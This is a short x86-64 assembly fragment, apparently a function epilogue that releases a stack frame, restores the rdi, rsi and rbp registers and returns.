add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret